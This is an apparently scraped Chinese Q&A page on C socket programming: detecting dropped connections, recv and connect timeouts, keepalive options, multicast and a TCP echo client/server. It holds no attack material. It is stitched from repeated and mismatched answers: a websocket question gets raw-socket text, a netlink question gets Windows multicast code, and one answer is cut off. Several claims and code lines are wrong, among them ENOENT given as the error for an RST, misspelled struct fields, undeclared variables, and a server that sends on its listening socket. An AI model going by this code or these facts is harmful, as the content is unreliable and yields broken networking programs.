法一:当recv()返回值小于等于0时,socket连接断开。但是还需要判断 errno是否等于 EINTR,如果errno == EINTR 则说明recv函数是由于程序接收到信号后返回的,socket连接还是正常的,不应close掉socket连接。法二:struct tcp_info info;int len=sizeof(info);getsockopt(sock, IPPROTO_TCP, TCP_INFO, &info, (socklen_t *)&len);if((info.tcpi_state==TCP_ESTABLISHED)) 则说明未断开 else 断开法三:若使用了select等系统函数,若远端断开,则select返回1,recv返回0则断开。其他注意事项同法一。法四:int keepAlive = 1; // 开启keepalive属性int keepIdle = 60; // 如该连接在60秒内没有任何数据往来,则进行探测 int keepInterval = 5; // 探测时发包的时间间隔为5 秒int keepCount = 3; // 探测尝试的次数.如果第1次探测包就收到响应了,则后2次的不再发.setsockopt(rs, SOL_SOCKET, SO_KEEPALIVE, (void *)&keepAlive, sizeof(keepAlive));setsockopt(rs, SOL_TCP, TCP_KEEPIDLE, (void*)&keepIdle, sizeof(keepIdle));setsockopt(rs, SOL_TCP, TCP_KEEPINTVL, (void *)&keepInterval, sizeof(keepInterval));setsockopt(rs, SOL_TCP, TCP_KEEPCNT, (void *)&keepCount, sizeof(keepCount));设置后,若断开,则在使用该socket读写时立即失败,并返回ETIMEDOUT错误法五:自己实现一个心跳检测,一定时间内未收到自定义的心跳包则标记为已断开。2023-07-24 12:04:122
socket关闭后为什么recv不返回
recv是socket编程中最常用的函数之一,在阻塞状态的recv有时候会返回不同的值,而对于错误值也有相应的错误码,分别对应不同的状态,下面是我针对常见的几种网络状态的简单总结。 首先阻塞接收的recv有时候会返回0,这仅在对端已经关闭TCP连接时才会发生。 而当拔掉设备网线的时候,recv并不会发生变化,仍然阻塞,如果在这个拔网线阶段,socket被关掉了,后果可能就是recv永久的阻塞了。 所以一般对于阻塞的socket都会用setsockopt来设置recv超时。 当超时时间到达后,recv会返回错误,也就是-1,而此时的错误码是EAGAIN或者EWOULDBLOCK,POSIX.1-2001上允许两个任意一个出现都行,所以建议在判断错误码上两个都写上。 如果socket是被对方用linger为0的形式关掉,也就是直接发RST的方式关闭的时候,recv也会返回错误,错误码是ENOENT 还有一种经常在代码中常见的错误码,那就是EINTER,意思是系统在接收的时候因为收到其他中断信号而被迫返回,不算socket故障,应该继续接收。但是这种情况非常难再现,我尝试过一边一直在不停的发信号,一边用recv接收数据,也没有出现过。这种异常错误我附近只有一个朋友在用write的时候见到过一次,但是总是会有概率出现的,所以作为完善的程序必须对此错误进行特殊处理。一般设置超时的阻塞recv常用的方法都如下:while(1){ cnt = (int)recv(m_socket, pBuf,RECVSIZE, 0); if( cnt >0 ) { //正常处理数据 } else { if((cnt<0) &&(errno == EAGAIN||errno == EWOULDBLOCK||errno == EINTR)) //这几种错误码,认为连接是正常的,继续接收 { continue;//继续接收数据 } break;//跳出接收循环 }}阻塞与非阻塞recv返回值没有区分,都是 <0 出错 =0 连接关闭 >0 接收到数据大小。Linux环境下,须如下定义:struct timeval timeout = {3,0}; //设置发送超时setsockopt(socket,SOL_SOCKET,SO_SNDTIMEO,(char *)&timeout,sizeof(struct timeval));//设置接收超时setsockopt(socket,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(struct timeval));2023-07-24 12:04:191
如何判断websocket断开
法一:当recv()返回值小于等于0时,socket连接断开。但是还需要判断 errno是否等于 EINTR,如果errno == EINTR 则说明recv函数是由于程序接收到信号后返回的,socket连接还是正常的,不应close掉socket连接。法二:struct tcp_info info;int len=sizeof(info);getsockopt(sock, IPPROTO_TCP, TCP_INFO, &info, (socklen_t *)&len);if((info.tcpi_state==TCP_ESTABLISHED)) 则说明未断开 else 断开法三:若使用了select等系统函数,若远端断开,则select返回1,recv返回0则断开。其他注意事项同法一。法四:int keepAlive = 1; // 开启keepalive属性int keepIdle = 60; // 如该连接在60秒内没有任何数据往来,则进行探测 int keepInterval = 5; // 探测时发包的时间间隔为5 秒int keepCount = 3; // 探测尝试的次数.如果第1次探测包就收到响应了,则后2次的不再发.setsockopt(rs, SOL_SOCKET, SO_KEEPALIVE, (void *)&keepAlive, sizeof(keepAlive));setsockopt(rs, SOL_TCP, TCP_KEEPIDLE, (void*)&keepIdle, sizeof(keepIdle));setsockopt(rs, SOL_TCP, TCP_KEEPINTVL, (void *)&keepInterval, sizeof(keepInterval));setsockopt(rs, SOL_TCP, TCP_KEEPCNT, (void *)&keepCount, sizeof(keepCount));设置后,若断开,则在使用该socket读写时立即失败,并返回ETIMEDOUT错误法五:自己实现一个心跳检测,一定时间内未收到自定义的心跳包则标记为已断开。2023-07-24 12:04:391
linux netlink socket 怎样设置组播
Multicast Programming SampleThe following sample code illustrates how to include multicast functionality to a Windows Sockets application using socket options.int /* OUT: whatever setsockopt() returns */join_source_group(int sd, u_int32 grpaddr, u_int32 srcaddr, u_int32 iaddr){ struct ip_mreq_source imr; imr.imr_multiaddr.s_addr = grpaddr; imr.imr_sourceaddr.s_addr = srcaddr; imr.imr_interface.s_addr = iaddr; return setsockopt(sd, IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, &imr, sizeof(imr)); }intleave_source_group(int sd, u_int32 grpaddr, u_int32 srcaddr, u_int32 iaddr){ struct ip_mreq_source imr; imr.imr_multiaddr.s_addr = grpaddr; imr.imr_sourceaddr.s_addr = srcaddr; imr.imr_interface.s_addr = iaddr; return setsockopt(sd, IPPROTO_IP, IP_DROP_SOURCE_MEMBERSHIP, &imr, sizeof(imr));}Send comments about this topic to Microsoft2023-07-24 12:04:481
如何设置socket的Connect超时
1.首先将标志位设为Non-blocking模式,准备在非阻塞模式下调用connect函数2.调用connect,正常情况下,因为TCP三次握手需要一些时间;而非阻塞调用只要不能立即完成就会返回错误,所以这里会返回EINPROGRESS,表示在建立连接但还没有完成。3.在读套接口描述符集(fd_set rset)和写套接口描述符集(fd_set wset)中将当前套接口置位(用FD_ZERO()、FD_SET()宏),并设置好超时时间(struct timeval *timeout)4.调用select( socket, &rset, &wset, NULL, timeout )返回0表示connect超时如果你设置的超时时间大于75秒就没有必要这样做了,因为内核中对connect有超时限制就是75秒。网络编程中socket的分量我想大家都很清楚了,socket也就是套接口,在套接口编程中,提到超时的概念,我们一下子就能想到3个:发送超时,接收超时,以及select超时(注: select 函数并不是只用于套接口的,但是套接口编程中用的比较多),在connect到目标主机的时候,这个超时是不由我们来设置的。不过正常情况下这个超时都很 长,并且connect又是一个阻塞方法,一个主机不能连接,等着connect返回还能忍受,你的程序要是要试图连接多个主机,恐怕遇到多个不能连接的 主机的时候,会塞得你受不了的。我也废话少说,先说说我的方法,如果你觉得你已掌握这种方法,你就不用再看下去了,如果你还不了解,我愿意与你分享。本文 是已在Linux下的程序为例子,不过拿到Windows中方法也是一样,无非是换几个函数名字罢了。Linux中要给connect设置超时,应该是有两种方法的。一种是该系统的一些参数,这个方法我不讲,因为我讲不清楚:P,它也不是编程实现的。另外一种方法就是变相的实现connect的超时,我要讲的就是这个方法,原理上是这样的:1.建立socket2.将该socket设置为非阻塞模式3.调用connect()4.使用select()检查该socket描述符是否可写(注意,是可写)5.根据select()返回的结果判断connect()结果6.将socket设置为阻塞模式(如果你的程序不需要用阻塞模式的,这步就省了,不过一般情况下都是用阻塞模式的,这样也容易管理)如果你对网络编程很熟悉的话,其实我一说出这个过程你就知道怎么写你的程序了,下面给出我写的一段程序,仅供参考。/******************************* Time out for connect()* Write by Kerl W******************************/#include #include #define TIME_OUT_TIME 20 //connect超时时间20秒int main(int argc , char **argv){………………int sockfd = socket(AF_INET, SOCK_STREAM, 0);if(sockfd < 0) exit(1);struct sockaddr_in serv_addr;………//以服务器地址填充结构serv_addrint error=-1, len;len = sizeof(int);timeval tm;fd_set set;unsigned long ul = 1;ioctl(sockfd, FIONBIO, &ul); //设置为非阻塞模式bool ret = false;if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) == -1){tm.tv_set = TIME_OUT_TIME;tm.tv_uset = 0;FD_ZERO(&set);FD_SET(sockfd, &set);if( select(sockfd+1, NULL, &set, NULL, &tm) > 0){getsockopt(sockfd, SOL_SOCKET, SO_ERROR, &error, (socklen_t *)&len);if(error == 0) ret = true;else ret = false;} else ret = false;}else ret = true;ul = 0;ioctl(sockfd, FIONBIO, &ul); //设置为阻塞模式if(!ret){close( sockfd );fprintf(stderr , "Cannot Connect the server!n");return;}fprintf( stderr , "Connected!n");//下面还可以进行发包收包操作……………}以上代码片段,仅供参考,也是为初学者提供一些提示,主要用到的几个函数,select, ioctl, getsockopt都可以找到相关资料,具体用法我这里就不赘述了,你只需要在linux中轻轻的敲一个man <函数名>就能够看到它的用法。此外我需要说明的几点是,虽然我们用ioctl把套接口设置为非阻塞模式,不过select本身是阻塞的,阻塞的时间就是其超时的时间由调用select 的 时候的最后一个参数timeval类型的变量指针指向的timeval结构变量来决定的,timeval结构由一个表示秒数的和一个表示微秒数(long 类型)的成员组成,一般我们设置了秒数就行了,把微妙数设为0(注:1秒等于100万微秒)。而select函数另一个值得一提的参数就是上面我们用到的 fd_set类型的变量指针。调用之前,这个变量里面存了要用select来检查的描述符,调用之后,针对上面的程序这里面是可写的描述符,我们可以用宏 FD_ISSET来检查某个描述符是否在其中。由于我这里只有一个套接口描述符,我就没有使用FD_ISSET宏来检查调用select之后这个 sockfd是否在set里面,其实是需要加上这个判断的。不过我用了getsockopt来检查,这样才可以判断出这个套接口是否是真的连接上了,因为 我们只是变相的用select来检查它是否连接上了,实际上select检查的是它是否可写,而对于可写,是针对以下三种条件任一条件满足时都表示可写 的:1)套接口发送缓冲区中的可用控件字节数大于等于套接口发送缓冲区低潮限度的当前值,且或者i)套接口已连接,或者ii)套接口不要求连接(UDP方式的)2)连接的写这一半关闭。3)有一个套接口错误待处理。这样,我们就需要用getsockopt函数来获取套接口目前的一些信息来判断是否真的是连接上了,没有连接上的时候还能给出发生了什么错误,当然我程序中并没有标出那么多状态,只是简单的表示可连接/不可连接。下面我来谈谈对这个程序测试的结果。我针对3种情形做了测试:1. 目标机器网络正常的情况可以连接到目标主机,并能成功以阻塞方式进行发包收包作业。2. 目标机器网络断开的情况在等待设置的超时时间(上面的程序中为20秒)后,显示目标主机不能连接。3. 程序运行前断开目标机器网络,超时时间内,恢复目标机器的网络在恢复目标主机网络连接之前,程序一只等待,恢复目标主机后,程序显示连接目标主机成功,并能成功以阻塞方式进行发包收包作业。以 上各种情况的测试结果表明,这种设置connect超时的方法是完全可行的。我自己是把这种设置了超时的connect封装到了自己的类库,用在一套监控 系统中,到目前为止,运行还算正常。这种编程实现的connect超时比起修改系统参数的那种方法的有点就在于它只用于你的程序之中而不影响系统。connect非阻塞套接口时候,一般使用在以下几种情况: 1.三路握手需要时间,这个要视具体的网络情况而定。当然也有可能失败。在三路握手的时候我们并不需要在原地等待三路握手的完成,可以用这些时间来 完成其它事情,然后当这些事情完成后,再去检测连接是否建立(也就是三路握手是否完成)。 2.可以用这种技术来同时建立多个连接。(WEB浏览器中很常用)。 3.connect超时需要很长时间才会通知,如果我们认为超过0.1秒以后就算超时(不管它是不是真的超时),这是就可以使用非阻塞式I/O结合 select来完成。 当采用非阻塞式I/O来使用connect时候,要判断一个连接是否建立则比较复杂,需要按照以下几个步骤来完成 1.即使是使用非阻塞式的connect操作,connect依然可能正确返回,也就是说非阻塞的connect 也有可能三路连接完成后返回,这种情况一般发生在服务器和主机在同一个机器上,所以第一步要判断connect是否正确返回,如果正确返回则请做正确返回 的处理,否则进入步骤2 2.设置fd_set,(如果没看明白,请先看select函数介绍),让select函数同时监听套接字的读写2个属性,如果既可读也可写则进入 步骤3,如果可写但不可读进入步骤4. 3.如果到达这步,我们需要调用getsockopt进一步判断。这里涉及到一个移植问题,getsockopt如果发生错误, 源自Berkeley的实现会返回0,如果是solaris,则会返回-1。建议是2个都处理(如果看不明白请先看getsockopt函数,套接口选 项)。根据getsockopt通过参数返回的erron的值,如果值为0则表示链接建立完成,如果不为0, 则说明链接建立没有完成。 4.如果能到达这里,则说明连接建立完成。 最后,即使最后你得出链接没有建立完成,也只是说:可能三路握手的过程还是没有完成。 代码:服务器#include "/programe/net/head.h"#include "stdio.h"#include "stdlib.h"#include "string.h"#define MAXSIZE 100//如果这样写,最后返回的套接口应该是会进入步骤3,也就是套接口既可读也可写,如果想进入步骤4,就不要想套接口中写入数据int main(int argc, char ** argu) { int listenfd, connfd; struct sockaddr_in servaddr; char buf[MAXSIZE + 1]; char buf2[] = "hello world "; listenfd = socket(AF_INET, SOCK_STREAM, 0); bzero(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(atoi(argu[1])); bind(listenfd, (struct sockaddr *)&servaddr, sizeof(servaddr)); listen(listenfd, 10); for(;;) { connfd = accept(listenfd, (struct sockaddr *)NULL, NULL); write(connfd, buf2, sizeof(buf2)); close(connfd); }} 客户端#include "/programe/net/head.h"#include "stdio.h"#include "stdlib.h"#include "string.h"#include "unistd.h"#include "fcntl.h"#include "sys/select.h"#define MAXSIZE 100int main(int argc, char ** argv) { int sockfd, n; int my; char send_buf[MAXSIZE + 1]; char recv_buf[MAXSIZE + 1]; struct sockaddr_in servaddr; int error = 0; if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("create socket error "); exit(1); } bzero(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(atoi(argv[1])); if(inet_pton(AF_INET, "192.168.1.235" , &servaddr.sin_addr) < 0) { printf("inet_pton error "); exit(1); } int val = fcntl(sockfd, F_GETFL, 0); fcntl(sockfd, F_SETFL, val | O_NONBLOCK); //设置套接口非阻塞 int connect_flag = connect(sockfd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in)); sleep(2); //connect会立即返回,不同于之前的要阻塞到链接完成才会返回,这里可以做你想在等待连接完成的时间想做的事情,我这里只是让进程睡眠了一段时间 if(connect_flag >= 0) { printf("connect success "); //即使是非阻塞套接口,connect还是有可能正确返回的,这种情况要处理 goto done; //不建议使用goto } fd_set rest, west; FD_ZERO(&rest); FD_ZERO(&west); FD_SET(sockfd, &rest); FD_SET(sockfd, &west); int maxpd = sockfd + 1; int flag = select(maxpd, &rest, &west, NULL, NULL);//监听套接的可读和可写条件 if(flag < 0) { printf("select error ");//慢系统调用可能会错误返回,这个以前提过 exit(1); } if(FD_ISSET(sockfd, &rest) && FD_ISSET(sockfd, &west)) {//如果套接口及可写也可读,需要进一步判断 socklen_t len = sizeof(error); if(getsockopt(sockfd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) exit(1);//获取SO_ERROR属性选项,当然getsockopt也有可能错误返回 printf("error = %d ", error); if(error != 0) {//如果error不为0, 则表示链接到此没有建立完成 printf("connect failed "); exit(1); } //如果error为0,则说明链接建立完成 } if(FD_ISSET(sockfd, &west) && !FD_ISSET(sockfd, &rest)) { //如果套接口可写不可读,则链接完成 printf("connect success "); }done: int recv_buf_len = read(sockfd, recv_buf, MAXSIZE); recv_buf[recv_buf_len] = ""; printf("get message:%s", recv_buf); close(sockfd); exit(0);}2023-07-24 12:04:561
Socket关闭后,接收函数仍然阻塞,怎么让它返回
recv是socket编程中最常用的函数之一,在阻塞状态的recv有时候会返回不同的值,而对于错误值也有相应的错误码,分别对应不同的状态,下面是我针对常见的几种网络状态的简单总结。 首先阻塞接收的recv有时候会返回0,这仅在对端已经关闭TCP连接时2023-07-24 12:05:043
如何判断socket客户端和服务器端
法一:当recv()返回值小于等于0时,socket连接断开。但是还需要判断 errno是否等于 EINTR,如果errno == EINTR 则说明recv函数是由于程序接收到信号后返回的,socket连接还是正常的,不应close掉socket连接。法二: struct tcp_info info; int len=sizeof(info); getsockopt(sock, IPPROTO_TCP, TCP_INFO, &info, (socklen_t *)&len); if((info.tcpi_state==TCP_ESTABLISHED)) 则说明未断开 else 断开法三:若使用了select等系统函数,若远端断开,则select返回1,recv返回0则断开。其他注意事项同法一。法四:int keepAlive = 1; // 开启keepalive属性int keepIdle = 60; // 如该连接在60秒内没有任何数据往来,则进行探测 int keepInterval = 5; // 探测时发包的时间间隔为5 秒int keepCount = 3; // 探测尝试的次数.如果第1次探测包就收到响应了,则后2次的不再发.setsockopt(rs, SOL_SOCKET, SO_KEEPALIVE, (void *)&keepAlive, sizeof(keepAlive));setsockopt(rs, SOL_TCP, TCP_KEEPIDLE, (void*)&keepIdle, sizeof(keepIdle));setsockopt(rs, SOL_TCP, TCP_KEEPINTVL, (void *)&keepInterval, sizeof(keepInterval));setsockopt(rs, SOL_TCP, TCP_KEEPCNT, (void *)&keepCount, sizeof(keepCount));设置后,若断开,则在使用该socket读写时立即失败,并返回ETIMEDOUT错误2023-07-24 12:05:131
采用tcp协议,使用socket编程,编写程序完成客户端发送消息给服务端,服务端接到消息后,再发
服务端代码:/*server.c*/ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <netinet/in.h> #define PORT 4321 #define BUFFER_SIZE 1024 #define MAX_QUE_CONN_NM 5 int main() { struct sockaddr_in server_sockaddr, client_sockaddr; int sin_size, recvbytes; int sockfd, client_fd; char buf[BUFFER_SIZE]; /*建立socket连接*/ if ((sockfd = socket(AF_INET,SOCK_STREAM,0))== -1) { perror("socket"); exit(1); } printf("Socket id = %d ",sockfd); /*设置sockaddr_in 结构体中相关参数*/ server_sockaddr.sin_family = AF_INET; server_sockaddr.sin_port = htons(PORT); server_sockaddr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_sockaddr.sin_zero), 8); int i = 1;/* 使得重复使用本地地址与套接字进行绑定 */ setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)); /*绑定函数bind*/ if (bind(sockfd, (struct sockaddr *)&server_sockaddr, sizeof(struct sockaddr))== -1) { perror("bind"); exit(1); } printf("Bind success! "); /*调用listen函数*/ if (listen(sockfd, MAX_QUE_CONN_NM) == -1) { perror("listen"); exit(1); } printf("Listening.... "); /*调用accept函数,等待客户端的连接*/ if ((client_fd = accept(sockfd, (struct sockaddr *)&client_sockaddr, &sin_size)) == -1) { perror("accept"); exit(1); } /*调用recv函数接收客户端的请求*/ memset(buf , 0, sizeof(buf)); if ((recvbytes = recv(client_fd, buf, BUFFER_SIZE, 0)) == -1) { perror("recv"); exit(1); } printf("Received a message: %s ", buf); if ((sendbytes = send(sockfd, buf, strlen(buf), 0)) == -1) { perror("send"); exit(1); } close(sockfd); exit(0); } 客户端:/*client.c*/ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <netdb.h> #include <netinet/in.h> #define PORT 4321 #define BUFFER_SIZE 1024 int main(int argc, char *argv[]) { int sockfd, sendbytes; char buf[BUFFER_SIZE]; struct hostent *host; struct sockaddr_in serv_addr; if(argc < 3) { fprintf(stderr,"USAGE: ./client Hostname(or ip address) Text "); exit(1); } /*地址解析函数*/ if ((host = gethostbyname(argv[1])) == NULL) { perror("gethostbyname"); exit(1); } memset(buf, 0, sizeof(buf)); sprintf(buf, "%s", argv[2]); /*创建socket*/ if ((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); } /*设置sockaddr_in 结构体中相关参数*/ serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(PORT); serv_addr.sin_addr = *((struct in_addr *)host->h_addr); bzero(&(serv_addr.sin_zero), 8); /*调用connect函数主动发起对服务器端的连接*/ if(connect(sockfd,(struct sockaddr *)&serv_addr, sizeof(struct sockaddr))== -1) { perror("connect"); exit(1); } /*发送消息给服务器端*/ if ((sendbytes = send(sockfd, buf, strlen(buf), 0)) == -1) { perror("send"); exit(1); } if ((recvbytes = recv(sockfd, buf, BUFFER_SIZE, 0)) == -1) { perror("recv"); exit(1); } close(sockfd); exit(0); }2023-07-24 12:05:211